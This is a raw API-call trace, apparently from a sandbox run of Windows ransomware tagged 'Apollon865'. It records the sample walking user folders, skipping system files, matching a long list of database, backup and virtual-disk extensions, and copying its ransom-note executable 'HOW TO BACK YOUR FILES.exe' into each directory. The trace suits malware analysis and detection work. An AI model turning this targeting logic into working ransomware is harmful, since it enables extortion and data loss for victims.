	[0037.010] lstrcmpiW (lpString1="Administrator.contact", lpString2="..") returned 1
	[0037.010] lstrcmpiW (lpString1="Administrator.contact", lpString2="windows") returned -1
	[0037.010] lstrcmpiW (lpString1="Administrator.contact", lpString2="bootmgr") returned -1
	[0037.010] lstrcmpiW (lpString1="Administrator.contact", lpString2="temp") returned -1
	[0037.010] lstrcmpiW (lpString1="Administrator.contact", lpString2="pagefile.sys") returned -1
	[0037.010] lstrcmpiW (lpString1="Administrator.contact", lpString2="boot") returned -1
	[0037.010] lstrcmpiW (lpString1="Administrator.contact", lpString2="ids.txt") returned -1
	[0037.010] lstrcmpiW (lpString1="Administrator.contact", lpString2="ntuser.dat") returned -1
	[0037.010] lstrcmpiW (lpString1="Administrator.contact", lpString2="perflogs") returned -1
	[0037.010] lstrcmpiW (lpString1="Administrator.contact", lpString2="MSBuild") returned -1
	[0037.010] lstrlenW (lpString="Administrator.contact") returned 21
	[0037.010] lstrlenW (lpString="C:\\Users\\Default\\Contacts\\*") returned 27
	[0037.010] lstrcpyW (in: lpString1=0x2d3e584, lpString2="Administrator.contact" | out: lpString1="Administrator.contact") returned="Administrator.contact"
	[0037.010] lstrlenW (lpString="Administrator.contact") returned 21
	[0037.010] lstrlenW (lpString="Apollon865") returned 10
	[0037.010] lstrcmpiW (lpString1="or.contact", lpString2="Apollon865") returned 1
	[0037.010] lstrlenW (lpString=".dll") returned 4
	[0037.010] lstrcmpiW (lpString1="Administrator.contact", lpString2=".dll") returned 1
	[0037.010] lstrlenW (lpString=".lnk") returned 4
	[0037.010] lstrcmpiW (lpString1="Administrator.contact", lpString2=".lnk") returned 1
	[0037.010] lstrlenW (lpString=".ini") returned 4
	[0037.010] lstrcmpiW (lpString1="Administrator.contact", lpString2=".ini") returned 1
	[0037.010] lstrlenW (lpString=".sys") returned 4
	[0037.010] lstrcmpiW (lpString1="Administrator.contact", lpString2=".sys") returned 1
	[0037.010] lstrlenW (lpString="Administrator.contact") returned 21
	[0037.010] lstrlenW (lpString="bak") returned 3
	[0037.010] lstrcmpiW (lpString1="act", lpString2="bak") returned -1
	[0037.010] lstrlenW (lpString="ba_") returned 3
	[0037.010] lstrcmpiW (lpString1="act", lpString2="ba_") returned -1
	[0037.010] lstrlenW (lpString="dbb") returned 3
	[0037.010] lstrcmpiW (lpString1="act", lpString2="dbb") returned -1
	[0037.010] lstrlenW (lpString="vmdk") returned 4
	[0037.010] lstrcmpiW (lpString1="tact", lpString2="vmdk") returned -1
	[0037.010] lstrlenW (lpString="rar") returned 3
	[0037.010] lstrcmpiW (lpString1="act", lpString2="rar") returned -1
	[0037.010] lstrlenW (lpString="zip") returned 3
	[0037.011] lstrcmpiW (lpString1="act", lpString2="zip") returned -1
	[0037.011] lstrlenW (lpString="tgz") returned 3
	[0037.011] lstrcmpiW (lpString1="act", lpString2="tgz") returned -1
	[0037.011] lstrlenW (lpString="vbox") returned 4
	[0037.011] lstrcmpiW (lpString1="tact", lpString2="vbox") returned -1
	[0037.011] lstrlenW (lpString="vdi") returned 3
	[0037.011] lstrcmpiW (lpString1="act", lpString2="vdi") returned -1
	[0037.011] lstrlenW (lpString="vhd") returned 3
	[0037.011] lstrcmpiW (lpString1="act", lpString2="vhd") returned -1
	[0037.011] lstrlenW (lpString="vhdx") returned 4
	[0037.011] lstrcmpiW (lpString1="tact", lpString2="vhdx") returned -1
	[0037.011] lstrlenW (lpString="avhd") returned 4
	[0037.011] lstrcmpiW (lpString1="tact", lpString2="avhd") returned 1
	[0037.011] lstrlenW (lpString="db") returned 2
	[0037.011] lstrcmpiW (lpString1="ct", lpString2="db") returned -1
	[0037.011] lstrlenW (lpString="db2") returned 3
	[0037.011] lstrcmpiW (lpString1="act", lpString2="db2") returned -1
	[0037.011] lstrlenW (lpString="db3") returned 3
	[0037.011] lstrcmpiW (lpString1="act", lpString2="db3") returned -1
	[0037.011] lstrlenW (lpString="dbf") returned 3
	[0037.011] lstrcmpiW (lpString1="act", lpString2="dbf") returned -1
	[0037.011] lstrlenW (lpString="mdf") returned 3
	[0037.011] lstrcmpiW (lpString1="act", lpString2="mdf") returned -1
	[0037.011] lstrlenW (lpString="mdb") returned 3
	[0037.011] lstrcmpiW (lpString1="act", lpString2="mdb") returned -1
	[0037.011] lstrlenW (lpString="sql") returned 3
	[0037.011] lstrcmpiW (lpString1="act", lpString2="sql") returned -1
	[0037.011] lstrlenW (lpString="sqlite") returned 6
	[0037.011] lstrcmpiW (lpString1="ontact", lpString2="sqlite") returned -1
	[0037.011] lstrlenW (lpString="sqlite3") returned 7
	[0037.011] lstrcmpiW (lpString1="contact", lpString2="sqlite3") returned -1
	[0037.011] lstrlenW (lpString="sqlitedb") returned 8
	[0037.011] lstrcmpiW (lpString1=".contact", lpString2="sqlitedb") returned -1
	[0037.011] lstrlenW (lpString="xml") returned 3
	[0037.011] lstrcmpiW (lpString1="act", lpString2="xml") returned -1
	[0037.011] lstrlenW (lpString="$er") returned 3
	[0037.011] lstrcmpiW (lpString1="act", lpString2="$er") returned 1
	[0037.011] lstrlenW (lpString="4dd") returned 3
	[0037.011] lstrcmpiW (lpString1="act", lpString2="4dd") returned 1
	[0037.011] lstrlenW (lpString="4dl") returned 3
	[0037.012] lstrcmpiW (lpString1="act", lpString2="4dl") returned 1
	[0037.012] lstrlenW (lpString="^^^") returned 3
	[0037.012] lstrcmpiW (lpString1="act", lpString2="^^^") returned 1
	[0037.012] lstrlenW (lpString="abs") returned 3
	[0037.012] lstrcmpiW (lpString1="act", lpString2="abs") returned 1
	[0037.012] lstrlenW (lpString="abx") returned 3
	[0037.012] lstrcmpiW (lpString1="act", lpString2="abx") returned 1
	[0037.012] lstrlenW (lpString="accdb") returned 5
	[0037.012] lstrcmpiW (lpString1="ntact", lpString2="accdb") returned 1
	[0037.012] lstrlenW (lpString="accdc") returned 5
	[0037.012] lstrcmpiW (lpString1="ntact", lpString2="accdc") returned 1
	[0037.012] lstrlenW (lpString="accde") returned 5
	[0037.012] lstrcmpiW (lpString1="ntact", lpString2="accde") returned 1
	[0037.012] lstrlenW (lpString="accdr") returned 5
	[0037.012] lstrcmpiW (lpString1="ntact", lpString2="accdr") returned 1
	[0037.012] lstrlenW (lpString="accdt") returned 5
	[0037.012] lstrcmpiW (lpString1="ntact", lpString2="accdt") returned 1
	[0037.012] lstrlenW (lpString="accdw") returned 5
	[0037.012] lstrcmpiW (lpString1="ntact", lpString2="accdw") returned 1
	[0037.012] lstrlenW (lpString="accft") returned 5
	[0037.012] lstrcmpiW (lpString1="ntact", lpString2="accft") returned 1
	[0037.012] lstrlenW (lpString="adb") returned 3
	[0037.012] lstrcmpiW (lpString1="act", lpString2="adb") returned -1
	[0037.012] lstrlenW (lpString="adb") returned 3
	[0037.012] lstrcmpiW (lpString1="act", lpString2="adb") returned -1
	[0037.012] lstrlenW (lpString="ade") returned 3
	[0037.012] lstrcmpiW (lpString1="act", lpString2="ade") returned -1
	[0037.012] lstrlenW (lpString="adf") returned 3
	[0037.012] lstrcmpiW (lpString1="act", lpString2="adf") returned -1
	[0037.012] lstrlenW (lpString="adn") returned 3
	[0037.012] lstrcmpiW (lpString1="act", lpString2="adn") returned -1
	[0037.012] lstrlenW (lpString="adp") returned 3
	[0037.012] lstrcmpiW (lpString1="act", lpString2="adp") returned -1
	[0037.012] lstrlenW (lpString="alf") returned 3
	[0037.012] lstrcmpiW (lpString1="act", lpString2="alf") returned -1
	[0037.012] lstrlenW (lpString="ask") returned 3
	[0037.012] lstrcmpiW (lpString1="act", lpString2="ask") returned -1
	[0037.012] lstrlenW (lpString="btr") returned 3
	[0037.013] lstrcmpiW (lpString1="act", lpString2="btr") returned -1
	[0037.013] lstrlenW (lpString="cat") returned 3
	[0037.013] lstrcmpiW (lpString1="act", lpString2="cat") returned -1
	[0037.013] lstrlenW (lpString="cdb") returned 3
	[0037.013] lstrcmpiW (lpString1="act", lpString2="cdb") returned -1
	[0037.013] lstrlenW (lpString="ckp") returned 3
	[0037.013] lstrcmpiW (lpString1="act", lpString2="ckp") returned -1
	[0037.013] lstrlenW (lpString="cma") returned 3
	[0037.013] lstrcmpiW (lpString1="act", lpString2="cma") returned -1
	[0037.013] lstrlenW (lpString="cpd") returned 3
	[0037.013] lstrcmpiW (lpString1="act", lpString2="cpd") returned -1
	[0037.013] lstrlenW (lpString="dacpac") returned 6
	[0037.013] lstrcmpiW (lpString1="ontact", lpString2="dacpac") returned 1
	[0037.013] lstrlenW (lpString="dad") returned 3
	[0037.013] lstrcmpiW (lpString1="act", lpString2="dad") returned -1
	[0037.013] lstrlenW (lpString="dadiagrams") returned 10
	[0037.013] lstrcmpiW (lpString1="or.contact", lpString2="dadiagrams") returned 1
	[0037.013] lstrlenW (lpString="daschema") returned 8
	[0037.013] lstrcmpiW (lpString1=".contact", lpString2="daschema") returned -1
	[0037.013] lstrlenW (lpString="db-journal") returned 10
	[0037.013] lstrcmpiW (lpString1="or.contact", lpString2="db-journal") returned 1
	[0037.013] lstrlenW (lpString="db-shm") returned 6
	[0037.013] lstrcmpiW (lpString1="ontact", lpString2="db-shm") returned 1
	[0037.013] lstrlenW (lpString="db-wal") returned 6
	[0037.013] lstrcmpiW (lpString1="ontact", lpString2="db-wal") returned 1
	[0037.013] lstrlenW (lpString="dbc") returned 3
	[0037.013] lstrcmpiW (lpString1="act", lpString2="dbc") returned -1
	[0037.013] lstrlenW (lpString="dbs") returned 3
	[0037.013] lstrcmpiW (lpString1="act", lpString2="dbs") returned -1
	[0037.013] lstrlenW (lpString="dbt") returned 3
	[0037.013] lstrcmpiW (lpString1="act", lpString2="dbt") returned -1
	[0037.013] lstrlenW (lpString="dbv") returned 3
	[0037.013] lstrcmpiW (lpString1="act", lpString2="dbv") returned -1
	[0037.013] lstrlenW (lpString="dbx") returned 3
	[0037.013] lstrcmpiW (lpString1="act", lpString2="dbx") returned -1
	[0037.013] lstrlenW (lpString="dcb") returned 3
	[0037.013] lstrcmpiW (lpString1="act", lpString2="dcb") returned -1
	[0037.014] lstrcmpiW (lpString1="act", lpString2="dct") returned -1
	[0037.014] lstrcpyW (in: lpString1=0x2d3e584, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0037.014] lstrlenW (lpString="desktop.ini") returned 11
	[0037.014] lstrlenW (lpString="Apollon865") returned 10
	[0037.014] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0037.014] lstrlenW (lpString=".dll") returned 4
	[0037.014] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0037.014] lstrlenW (lpString=".lnk") returned 4
	[0037.014] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0037.014] lstrlenW (lpString=".ini") returned 4
	[0037.014] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0037.014] lstrlenW (lpString=".sys") returned 4
	[0037.014] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0037.014] lstrlenW (lpString="desktop.ini") returned 11
	[0037.014] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\Application Data", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\Application Data") returned="C:\\Users\\Default\\Application Data"
	[0037.014] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bdca8 | out: hHeap=0x580000) returned 1
	[0037.014] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0037.014] lstrlenW (lpString="C:\\Users\\Default\\Application Data") returned 33
	[0037.014] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Application Data" | out: lpString1="C:\\Users\\Default\\Application Data") returned="C:\\Users\\Default\\Application Data"
	[0037.014] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0037.014] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\application data\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0037.018] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0037.018] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Application Data\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e39ff30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e39ff30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0xffffffff
	[0037.019] GetLastError () returned 0x5
	[0037.019] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\Default\\Application Data\\* FindFirstFile error 5\r\n") returned 67
	[0037.019] lstrlenA (lpString="[ERROR] C:\\Users\\Default\\Application Data\\* FindFirstFile error 5\r\n") returned 67
	[0037.019] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0037.019] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x83d
	[0037.019] WriteFile (in: hFile=0x11c, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x43, lpOverlapped=0x0) returned 1
	[0037.019] CloseHandle (hObject=0x11c) returned 1
	[0037.021] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a50
	[0037.021] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData") returned="C:\\Users\\Default\\AppData"
	[0037.021] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca150 | out: hHeap=0x580000) returned 1
	[0037.022] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0037.022] lstrlenW (lpString="C:\\Users\\Default\\AppData") returned 24
	[0037.022] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData" | out: lpString1="C:\\Users\\Default\\AppData") returned="C:\\Users\\Default\\AppData"
	[0037.022] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0037.022] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0037.026] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0037.026] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e3c6090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e3c6090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0037.026] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.026] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0037.026] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0037.026] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e3c6090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e3c6090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0037.026] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.026] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0037.026] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0037.026] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0037.026] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e3c6090, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e3c6090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0037.026] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0037.026] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e0f2670, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e0f2670, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1
	[0037.027] lstrcmpiW (lpString1="Local", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0037.027] lstrcmpiW (lpString1="Local", lpString2="Apollon865.txt.exe") returned 1
	[0037.027] lstrcmpiW (lpString1="Local", lpString2=".") returned 1
	[0037.027] lstrcmpiW (lpString1="Local", lpString2="..") returned 1
	[0037.027] lstrcmpiW (lpString1="Local", lpString2="windows") returned -1
	[0037.027] lstrcmpiW (lpString1="Local", lpString2="bootmgr") returned 1
	[0037.027] lstrcmpiW (lpString1="Local", lpString2="temp") returned -1
	[0037.027] lstrcmpiW (lpString1="Local", lpString2="pagefile.sys") returned -1
	[0037.027] lstrcmpiW (lpString1="Local", lpString2="boot") returned 1
	[0037.027] lstrcmpiW (lpString1="Local", lpString2="ids.txt") returned 1
	[0037.027] lstrcmpiW (lpString1="Local", lpString2="ntuser.dat") returned -1
	[0037.027] lstrcmpiW (lpString1="Local", lpString2="perflogs") returned -1
	[0037.027] lstrcmpiW (lpString1="Local", lpString2="MSBuild") returned -1
	[0037.027] lstrlenW (lpString="Local") returned 5
	[0037.027] lstrlenW (lpString="C:\\Users\\Default\\AppData\\*") returned 26
	[0037.027] lstrcpyW (in: lpString1=0x2d3e582, lpString2="Local" | out: lpString1="Local") returned="Local"
	[0037.027] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a48
	[0037.027] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x3e) returned 0x5b6118
	[0037.027] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a50 | out: ListHead=0x5b76b0, ListEntry=0x5b7a50) returned 0x5b79b0
	[0037.027] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a1d229, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LocalLow", cAlternateFileName="")) returned 1
	[0037.027] lstrcmpiW (lpString1="LocalLow", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0037.027] lstrcmpiW (lpString1="LocalLow", lpString2="Apollon865.txt.exe") returned 1
	[0037.027] lstrcmpiW (lpString1="LocalLow", lpString2=".") returned 1
	[0037.027] lstrcmpiW (lpString1="LocalLow", lpString2="..") returned 1
	[0037.027] lstrcmpiW (lpString1="LocalLow", lpString2="windows") returned -1
	[0037.027] lstrcmpiW (lpString1="LocalLow", lpString2="bootmgr") returned 1
	[0037.027] lstrcmpiW (lpString1="LocalLow", lpString2="temp") returned -1
	[0037.027] lstrcmpiW (lpString1="LocalLow", lpString2="pagefile.sys") returned -1
	[0037.027] lstrcmpiW (lpString1="LocalLow", lpString2="boot") returned 1
	[0037.027] lstrcmpiW (lpString1="LocalLow", lpString2="ids.txt") returned 1
	[0037.027] lstrcmpiW (lpString1="LocalLow", lpString2="ntuser.dat") returned -1
	[0037.027] lstrcmpiW (lpString1="LocalLow", lpString2="perflogs") returned -1
	[0037.027] lstrcmpiW (lpString1="LocalLow", lpString2="MSBuild") returned -1
	[0037.027] lstrlenW (lpString="LocalLow") returned 8
	[0037.027] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local") returned 30
	[0037.028] lstrcpyW (in: lpString1=0x2d3e582, lpString2="LocalLow" | out: lpString1="LocalLow") returned="LocalLow"
	[0037.028] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0037.028] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x44) returned 0x5bdca8
	[0037.028] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a70 | out: ListHead=0x5b76b0, ListEntry=0x5b7a70) returned 0x5b7a50
	[0037.028] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e39ff30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e39ff30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1
	[0037.028] lstrcmpiW (lpString1="Roaming", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0037.028] lstrcmpiW (lpString1="Roaming", lpString2="Apollon865.txt.exe") returned 1
	[0037.028] lstrcmpiW (lpString1="Roaming", lpString2=".") returned 1
	[0037.028] lstrcmpiW (lpString1="Roaming", lpString2="..") returned 1
	[0037.028] lstrcmpiW (lpString1="Roaming", lpString2="windows") returned -1
	[0037.028] lstrcmpiW (lpString1="Roaming", lpString2="bootmgr") returned 1
	[0037.028] lstrcmpiW (lpString1="Roaming", lpString2="temp") returned -1
	[0037.028] lstrcmpiW (lpString1="Roaming", lpString2="pagefile.sys") returned 1
	[0037.028] lstrcmpiW (lpString1="Roaming", lpString2="boot") returned 1
	[0037.028] lstrcmpiW (lpString1="Roaming", lpString2="ids.txt") returned 1
	[0037.028] lstrcmpiW (lpString1="Roaming", lpString2="ntuser.dat") returned 1
	[0037.028] lstrcmpiW (lpString1="Roaming", lpString2="perflogs") returned 1
	[0037.028] lstrcmpiW (lpString1="Roaming", lpString2="MSBuild") returned 1
	[0037.028] lstrlenW (lpString="Roaming") returned 7
	[0037.028] lstrlenW (lpString="C:\\Users\\Default\\AppData\\LocalLow") returned 33
	[0037.028] lstrcpyW (in: lpString1=0x2d3e582, lpString2="Roaming" | out: lpString1="Roaming") returned="Roaming"
	[0037.028] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0037.028] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x42) returned 0x5bde88
	[0037.028] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a90 | out: ListHead=0x5b76b0, ListEntry=0x5b7a90) returned 0x5b7a70
	[0037.028] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e39ff30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e39ff30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0
	[0037.028] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0037.028] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a90
	[0037.028] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\Roaming", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Roaming") returned="C:\\Users\\Default\\AppData\\Roaming"
	[0037.028] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bde88 | out: hHeap=0x580000) returned 1
	[0037.028] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0037.028] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming") returned 32
	[0037.028] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Roaming" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming") returned="C:\\Users\\Default\\AppData\\Roaming"
	[0037.028] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0037.029] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\roaming\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0037.029] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x148
	[0037.029] GetLastError () returned 0x0
	[0037.029] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0037.029] ReadFile (in: hFile=0x148, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0037.029] CloseHandle (hObject=0x148) returned 1
	[0037.029] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0037.029] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0037.029] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e39ff30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e39ff30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
